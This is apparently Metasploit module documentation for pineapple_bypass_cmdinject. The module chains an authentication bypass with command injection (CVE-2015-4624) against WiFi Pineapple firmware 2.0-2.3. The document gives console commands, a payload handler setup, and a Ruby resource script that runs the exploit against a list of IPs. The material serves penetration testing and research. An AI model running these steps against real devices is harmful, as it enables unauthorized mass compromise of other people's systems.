Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using pineapple_bypass_cmdinject against a single host

Normally, you can use exploit/linux/http/pineapple_bypass_cmdinject this way:

msf > use exploit/linux/http/pineapple_bypass_cmdinject
msf exploit(pineapple_bypass_cmdinject) > show targets
    ... a list of targets ...
msf exploit(pineapple_bypass_cmdinject) > set TARGET target-id
msf exploit(pineapple_bypass_cmdinject) > show options
    ... show and set options ...
msf exploit(pineapple_bypass_cmdinject) > exploit

Using pineapple_bypass_cmdinject against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your pineapple_bypass_cmdinject will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/pineapple_bypass_cmdinject")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base


Vulnerable Application


The 'pineapple_bypass_cmdinject' exploit attacks a weak check for pre-authorized CSS files, which allows the attacker to bypass authentication. The exploit then relies on the anti-CSRF vulnerability (CVE-2015-4624) to obtain command injection.

This exploit uses a utility function in /components/system/configuration/functions.php to execute commands once authorization has been bypassed.

Verification Steps


This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The default options are generally effective due to having a set state after being flashed. You will need to be connected to the WiFi pineapple network (e.g. via WiFi or ethernet).

Assuming the above 2.3 firmware is installed, this exploit should always work. If it does not, try it again. It should always work as long as the pineapple is in its default configuration.
